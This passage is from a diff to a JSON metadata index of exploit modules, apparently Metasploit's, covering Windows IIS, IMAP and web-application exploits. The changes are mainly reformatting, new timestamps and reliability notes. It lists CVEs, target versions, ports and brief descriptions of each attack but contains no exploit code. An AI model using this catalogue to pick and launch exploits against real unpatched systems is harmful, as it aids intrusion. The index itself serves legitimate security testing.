"unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175656,9 +180732,7 @@ "exploit_windows/http/ws_ftp_rce_cve_2023_40044": { "name": "Progress Software WS_FTP Unauthenticated Remote Code Execution", "fullname": "exploit/windows/http/ws_ftp_rce_cve_2023_40044", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-09-27", "type": "exploit", @@ -175717,9 +180791,7 @@ "exploit_windows/http/xampp_webdav_upload_php": { "name": "XAMPP WebDAV PHP Upload", "fullname": "exploit/windows/http/xampp_webdav_upload_php", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-14", "type": "exploit", @@ -175727,9 +180799,7 @@ "theLightCosine " ], "description": "This module exploits weak WebDAV passwords on XAMPP servers.\n It uses supplied credentials to upload a PHP payload and\n execute it.", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": 80, @@ -175751,31 +180821,28 @@ "targets": [ "Automatic" ], - "mod_time": "2018-08-20 18:08:19 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/xampp_webdav_upload_php.rb", "is_install_path": true, "ref_name": "windows/http/xampp_webdav_upload_php", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/xitami_if_mod_since": { "name": "Xitami 2.5c2 Web Server If-Modified-Since Overflow", "fullname": "exploit/windows/http/xitami_if_mod_since", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-09-24", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a stack buffer overflow in the iMatix Corporation\n Xitami Web Server. If a malicious user sends an\tIf-Modified-Since\n header containing an overly long string, it may be possible to\n execute a payload remotely. Due to size constraints, this module uses\n the Egghunter technique.", + "description": "This module exploits a stack buffer overflow in the iMatix Corporation\n Xitami Web Server. If a malicious user sends an\tIf-Modified-Since\n header containing an overly long string, it may be possible to\n execute a payload remotely. Due to size constraints, this module uses\n the Egghunter technique.", "references": [ "CVE-2007-5067", "OSVDB-40594", @@ -175786,17 +180853,13 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "xigui32.exe Universal", "xitami.exe Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/xitami_if_mod_since.rb", "is_install_path": true, "ref_name": "windows/http/xitami_if_mod_since", @@ -175804,6 +180867,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175811,9 +180883,7 @@ "exploit_windows/http/zentao_pro_rce": { "name": "ZenTao Pro 8.8.2 Remote Code Execution", "fullname": "exploit/windows/http/zentao_pro_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-20", "type": "exploit", @@ -175874,9 +180944,7 @@ "exploit_windows/http/zenworks_assetmgmt_uploadservlet": { "name": "Novell ZENworks Asset Management Remote Execution", "fullname": "exploit/windows/http/zenworks_assetmgmt_uploadservlet", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-02", "type": "exploit", @@ -175884,7 +180952,7 @@ "Unknown", "juan vazquez " ], - "description": "This module exploits a path traversal flaw in Novell ZENworks Asset Management\n 7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file\n outside of the MalibuUploadDirectory and then make a secondary request that allows\n for arbitrary code execution.", + "description": "This module exploits a path traversal flaw in Novell ZENworks Asset Management\n 7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file\n outside of the MalibuUploadDirectory and then make a secondary request that allows\n for arbitrary code execution.", "references": [ "CVE-2011-2653", "OSVDB-77583", @@ -175913,7 +180981,7 @@ "targets": [ "Java Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb", "is_install_path": true, "ref_name": "windows/http/zenworks_assetmgmt_uploadservlet", @@ -175921,6 +180989,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175928,16 +181005,14 @@ "exploit_windows/http/zenworks_uploadservlet": { "name": "Novell ZENworks Configuration Management Remote Execution", "fullname": "exploit/windows/http/zenworks_uploadservlet", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-03-30", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.\n By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory\n and then make a secondary request that allows for arbitrary code execution.", + "description": "This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.\n By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory\n and then make a secondary request that allows for arbitrary code execution.", "references": [ "CVE-2010-5324", "OSVDB-63412", @@ -175969,7 +181044,7 @@ "Windows x86", "Linux x86" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/zenworks_uploadservlet.rb", "is_install_path": true, "ref_name": "windows/http/zenworks_uploadservlet", @@ -175977,6 +181052,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -175984,9 +181068,7 @@ "exploit_windows/http/zoho_password_manager_pro_xml_rpc_rce": { "name": "Zoho Password Manager Pro XML-RPC Java Deserialization", "fullname": "exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-24", "type": "exploit", @@ -176050,16 +181132,14 @@ "exploit_windows/ibm/ibm_was_dmgr_java_deserialization_rce": { "name": "IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution", "fullname": "exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-05-15", "type": "exploit", "author": [ "b0yd" ], - "description": "This module exploits untrusted serialized data processed by the WAS DMGR Server and Cells.\n NOTE: There is a required 2 minute timeout between attempts as the neighbor being added must be reset.", + "description": "This module exploits untrusted serialized data processed by the WAS DMGR Server and Cells.\n NOTE: There is a required 2 minute timeout between attempts as the neighbor being added must be reset.", "references": [ "CVE-2019-4279", "URL-https://www-01.ibm.com/support/docview.wss?uid=ibm10883628" @@ -176067,17 +181147,13 @@ "platform": "Windows", "arch": "", "rport": 11006, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Binary", "CMD" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ibm/ibm_was_dmgr_java_deserialization_rce.rb", "is_install_path": true, "ref_name": "windows/ibm/ibm_was_dmgr_java_deserialization_rce", @@ -176085,6 +181161,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -176092,9 +181177,7 @@ "exploit_windows/iis/iis_webdav_scstoragepathfromurl": { "name": "Microsoft IIS WebDav ScStoragePathFromUrl Overflow", "fullname": "exploit/windows/iis/iis_webdav_scstoragepathfromurl", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2017-03-26", "type": "exploit", @@ -176135,7 +181218,7 @@ "targets": [ "Microsoft Windows Server 2003 R2 SP2 x86" ], - "mod_time": "2024-01-22 19:12:21 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb", "is_install_path": true, "ref_name": "windows/iis/iis_webdav_scstoragepathfromurl", @@ -176152,8 +181235,9 @@ "Reliability": [ "repeatable-session" ], - "Side Effects": [ - + "Side Effects": [], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -176162,9 +181246,7 @@ "exploit_windows/iis/iis_webdav_upload_asp": { "name": "Microsoft IIS WebDAV Write Access Code Execution", "fullname": "exploit/windows/iis/iis_webdav_upload_asp", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2004-12-31", "type": "exploit", @@ -176197,24 +181279,21 @@ "targets": [ "Automatic" ], - "mod_time": "2019-05-22 09:05:56 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/iis/iis_webdav_upload_asp.rb", "is_install_path": true, "ref_name": "windows/iis/iis_webdav_upload_asp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/iis/ms01_023_printer": { "name": "MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow", "fullname": "exploit/windows/iis/ms01_023_printer", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-05-01", "type": "exploit", @@ -176290,9 +181369,7 @@ "exploit_windows/iis/ms01_026_dbldecode": { "name": "MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution", "fullname": "exploit/windows/iis/ms01_026_dbldecode", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2001-05-15", "type": "exploit", @@ -176354,16 +181431,14 @@ "exploit_windows/iis/ms01_033_idq": { "name": "MS01-033 Microsoft IIS 5.0 IDQ Path Overflow", "fullname": "exploit/windows/iis/ms01_033_idq", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-06-18", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the IDQ ISAPI handler for\n Microsoft Index Server.", + "description": "This module exploits a stack buffer overflow in the IDQ ISAPI handler for\n Microsoft Index Server.", "references": [ "CVE-2001-0500", "OSVDB-568", @@ -176373,17 +181448,13 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro English SP0", "Windows 2000 Pro English SP1-SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/iis/ms01_033_idq.rb", "is_install_path": true, "ref_name": "windows/iis/ms01_033_idq", @@ -176391,6 +181462,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176398,16 +181478,14 @@ "exploit_windows/iis/ms02_018_htr": { "name": "MS02-018 Microsoft IIS 4.0 .HTR Path Overflow", "fullname": "exploit/windows/iis/ms02_018_htr", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-04-10", "type": "exploit", "author": [ "stinko " ], - "description": "This exploits a buffer overflow in the ISAPI ISM.DLL used to\n process HTR scripting in IIS 4.0. This module works against\n Windows NT 4 Service Packs 3, 4, and 5. The server will\n continue to process requests until the payload being\n executed has exited. If you've set EXITFUNC to 'seh', the\n server will continue processing requests, but you will have\n trouble terminating a bind shell. If you set EXITFUNC to\n thread, the server will crash upon exit of the bind shell.\n The payload is alpha-numerically encoded without a NOP sled\n because otherwise the data gets mangled by the filters.", + "description": "This exploits a buffer overflow in the ISAPI ISM.DLL used to\n process HTR scripting in IIS 4.0. This module works against\n Windows NT 4 Service Packs 3, 4, and 5. The server will\n continue to process requests until the payload being\n executed has exited. If you've set EXITFUNC to 'seh', the\n server will continue processing requests, but you will have\n trouble terminating a bind shell. If you set EXITFUNC to\n thread, the server will crash upon exit of the bind shell.\n The payload is alpha-numerically encoded without a NOP sled\n because otherwise the data gets mangled by the filters.", "references": [ "CVE-1999-0874", "OSVDB-3325", @@ -176418,18 +181496,14 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows NT 4.0 SP3", "Windows NT 4.0 SP4", "Windows NT 4.0 SP5" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/iis/ms02_018_htr.rb", "is_install_path": true, "ref_name": "windows/iis/ms02_018_htr", @@ -176437,6 +181511,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176444,9 +181527,7 @@ "exploit_windows/iis/ms02_065_msadc": { "name": "MS02-065 Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow", "fullname": "exploit/windows/iis/ms02_065_msadc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2002-11-02", "type": "exploit", @@ -176515,9 +181596,7 @@ "exploit_windows/iis/ms03_007_ntdll_webdav": { "name": "MS03-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow", "fullname": "exploit/windows/iis/ms03_007_ntdll_webdav", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-05-30", "type": "exploit", @@ -176577,9 +181656,7 @@ "exploit_windows/iis/msadc": { "name": "MS99-025 Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution", "fullname": "exploit/windows/iis/msadc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1998-07-17", "type": "exploit", @@ -176622,17 +181699,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/imap/eudora_list": { "name": "Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow", "fullname": "exploit/windows/imap/eudora_list", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-12-20", "type": "exploit", @@ -176640,7 +181714,7 @@ "MC ", "jduck " ], - "description": "This module exploits a stack buffer overflow in the Qualcomm WorldMail IMAP Server\n version 3.0 (builds 6.1.19.0 through 6.1.22.0). Version 6.1.22.1 fixes this\n particular vulnerability.\n\n NOTE: The service does NOT restart automatically by default. You may be limited to\n only one attempt, so choose wisely!", + "description": "This module exploits a stack buffer overflow in the Qualcomm WorldMail IMAP Server\n version 3.0 (builds 6.1.19.0 through 6.1.22.0). Version 6.1.22.1 fixes this\n particular vulnerability.\n\n NOTE: The service does NOT restart automatically by default. You may be limited to\n only one attempt, so choose wisely!", "references": [ "CVE-2005-4267", "OSVDB-22097", @@ -176649,19 +181723,15 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "WorldMail 3 Version 6.1.19.0", "WorldMail 3 Version 6.1.20.0", "WorldMail 3 Version 6.1.22.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/eudora_list.rb", "is_install_path": true, "ref_name": "windows/imap/eudora_list", @@ -176669,6 +181739,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176676,16 +181755,14 @@ "exploit_windows/imap/imail_delete": { "name": "IMail IMAP4D Delete Overflow", "fullname": "exploit/windows/imap/imail_delete", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-11-12", "type": "exploit", "author": [ "spoonm " ], - "description": "This module exploits a buffer overflow in the 'DELETE'\n command of the IMail IMAP4D service. This vulnerability\n can only be exploited with a valid username and password.\n This flaw was patched in version 8.14.", + "description": "This module exploits a buffer overflow in the 'DELETE'\n command of the IMail IMAP4D service. This vulnerability\n can only be exploited with a valid username and password.\n This flaw was patched in version 8.14.", "references": [ "CVE-2004-1520", "OSVDB-11838", @@ -176694,16 +181771,12 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP sp0 comctl32.dll" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/imail_delete.rb", "is_install_path": true, "ref_name": "windows/imap/imail_delete", @@ -176711,6 +181784,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176718,16 +181800,14 @@ "exploit_windows/imap/ipswitch_search": { "name": "Ipswitch IMail IMAP SEARCH Buffer Overflow", "fullname": "exploit/windows/imap/ipswitch_search", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-07-18", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.\n In order for this module to be successful, the IMAP user must have at least one\n message.", + "description": "This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH\n verb. By sending an overly long string, an attacker can overwrite the\n buffer and control program execution.\n In order for this module to be successful, the IMAP user must have at least one\n message.", "references": [ "CVE-2007-3925", "OSVDB-36219", @@ -176736,17 +181816,13 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English", "Windows 2003 SP0 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/ipswitch_search.rb", "is_install_path": true, "ref_name": "windows/imap/ipswitch_search", @@ -176754,6 +181830,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176761,16 +181846,14 @@ "exploit_windows/imap/mailenable_login": { "name": "MailEnable IMAPD (2.34/2.35) Login Request Buffer Overflow", "fullname": "exploit/windows/imap/mailenable_login", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-12-11", "type": "exploit", "author": [ "MC " ], - "description": "MailEnable's IMAP server contains a buffer overflow\n vulnerability in the Login command.", + "description": "MailEnable's IMAP server contains a buffer overflow\n vulnerability in the Login command.", "references": [ "CVE-2006-6423", "OSVDB-32125", @@ -176779,17 +181862,13 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MailEnable 2.35 Pro", "MailEnable 2.34 Pro" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/mailenable_login.rb", "is_install_path": true, "ref_name": "windows/imap/mailenable_login", @@ -176797,6 +181876,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176804,16 +181892,14 @@ "exploit_windows/imap/mailenable_status": { "name": "MailEnable IMAPD (1.54) STATUS Request Buffer Overflow", "fullname": "exploit/windows/imap/mailenable_status", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-07-13", "type": "exploit", "author": [ "MC " ], - "description": "MailEnable's IMAP server contains a buffer overflow\n vulnerability in the STATUS command. With proper\n credentials, this could allow for the execution of arbitrary\n code.", + "description": "MailEnable's IMAP server contains a buffer overflow\n vulnerability in the STATUS command. With proper\n credentials, this could allow for the execution of arbitrary\n code.", "references": [ "CVE-2005-2278", "OSVDB-17844", @@ -176823,19 +181909,15 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MailEnable 1.54 Pro Universal", "Windows XP Pro SP0/SP1 English", "Windows 2000 Pro English ALL", "Windows 2003 Server English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/mailenable_status.rb", "is_install_path": true, "ref_name": "windows/imap/mailenable_status", @@ -176843,6 +181925,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176850,16 +181941,14 @@ "exploit_windows/imap/mailenable_w3c_select": { "name": "MailEnable IMAPD W3C Logging Buffer Overflow", "fullname": "exploit/windows/imap/mailenable_w3c_select", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-10-03", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in the W3C logging\n functionality of the MailEnable IMAPD service. Logging is\n not enabled by default and this exploit requires a valid\n username and password to exploit the flaw. MailEnable\n Professional version 1.6 and prior and MailEnable Enterprise\n version 1.1 and prior are affected.", + "description": "This module exploits a buffer overflow in the W3C logging\n functionality of the MailEnable IMAPD service. Logging is\n not enabled by default and this exploit requires a valid\n username and password to exploit the flaw. MailEnable\n Professional version 1.6 and prior and MailEnable Enterprise\n version 1.1 and prior are affected.", "references": [ "CVE-2005-3155", "OSVDB-19842", @@ -176868,16 +181957,12 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MailEnable 1.54 Pro Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/mailenable_w3c_select.rb", "is_install_path": true, "ref_name": "windows/imap/mailenable_w3c_select", @@ -176885,6 +181970,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176892,16 +181986,14 @@ "exploit_windows/imap/mdaemon_cram_md5": { "name": "Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow", "fullname": "exploit/windows/imap/mdaemon_cram_md5", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-11-12", "type": "exploit", "author": [ "Unknown" ], - "description": "This module exploits a buffer overflow in the CRAM-MD5\n authentication of the MDaemon IMAP service. This\n vulnerability was discovered by Muts.", + "description": "This module exploits a buffer overflow in the CRAM-MD5\n authentication of the MDaemon IMAP service. This\n vulnerability was discovered by Muts.", "references": [ "CVE-2004-1520", "OSVDB-11838", @@ -176910,16 +182002,12 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MDaemon IMAP 8.0.3 Windows XP SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/mdaemon_cram_md5.rb", "is_install_path": true, "ref_name": "windows/imap/mdaemon_cram_md5", @@ -176927,6 +182015,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176934,9 +182031,7 @@ "exploit_windows/imap/mdaemon_fetch": { "name": "MDaemon 9.6.4 IMAPD FETCH Buffer Overflow", "fullname": "exploit/windows/imap/mdaemon_fetch", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-03-13", "type": "exploit", @@ -176944,7 +182039,7 @@ "Jacopo Cervini", "aushack " ], - "description": "This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server\n version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP\n account credentials are required. Credit to Matteo Memelli", + "description": "This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server\n version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP\n account credentials are required. Credit to Matteo Memelli", "references": [ "CVE-2008-1358", "OSVDB-43111", @@ -176954,16 +182049,12 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MDaemon Version 9.6.4" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/mdaemon_fetch.rb", "is_install_path": true, "ref_name": "windows/imap/mdaemon_fetch", @@ -176971,6 +182062,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -176978,16 +182078,14 @@ "exploit_windows/imap/mercur_imap_select_overflow": { "name": "Mercur v5.0 IMAP SP3 SELECT Buffer Overflow", "fullname": "exploit/windows/imap/mercur_imap_select_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-03-17", "type": "exploit", "author": [ "Jacopo Cervini " ], - "description": "Mercur v5.0 IMAP server is prone to a remotely exploitable\n stack-based buffer overflow vulnerability. This issue is due\n to a failure of the application to properly bounds check\n user-supplied data prior to copying it to a fixed size memory buffer.\n Credit to Tim Taylor for discover the vulnerability.", + "description": "Mercur v5.0 IMAP server is prone to a remotely exploitable\n stack-based buffer overflow vulnerability. This issue is due\n to a failure of the application to properly bounds check\n user-supplied data prior to copying it to a fixed size memory buffer.\n Credit to Tim Taylor for discover the vulnerability.", "references": [ "CVE-2006-1255", "OSVDB-23950", @@ -176996,17 +182094,13 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Server SP4 English", "Windows 2000 Pro SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/mercur_imap_select_overflow.rb", "is_install_path": true, "ref_name": "windows/imap/mercur_imap_select_overflow", @@ -177014,6 +182108,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177021,16 +182124,14 @@ "exploit_windows/imap/mercur_login": { "name": "Mercur Messaging 2005 IMAP Login Buffer Overflow", "fullname": "exploit/windows/imap/mercur_login", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-03-17", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.\n Since the room for shellcode is small, using the reverse ordinal payloads\n yields the best results.", + "description": "This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.\n Since the room for shellcode is small, using the reverse ordinal payloads\n yields the best results.", "references": [ "CVE-2006-1255", "OSVDB-23950", @@ -177040,17 +182141,13 @@ "platform": "Windows", "arch": "", "rport": 143, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English", "Windows XP Pro SP2 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/imap/mercur_login.rb", "is_install_path": true, "ref_name": "windows/imap/mercur_login", @@ -177058,6 +182155,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -177065,9 +182171,7 @@ "exploit_windows/imap/mercury_login": { "name": "Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow", "fullname": "exploit/windows/imap/mercury_login", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-03-06", "type": "exploit", @@ -177076,7 +182180,7 @@ "MC ", "Ivan Racic" ], - "description": "This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD\n LOGIN verb. By sending a specially crafted login command, a buffer\n is corrupted, and code execution is possible. This vulnerability was\n discovered by (mu-b at digit-labs.org).", + "description": "This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD\n LOGIN verb. By sending a specially crafted login command, a buffer\n is corrupted, and code execution is possible. This vulnerability was\n discovered by (mu-b at 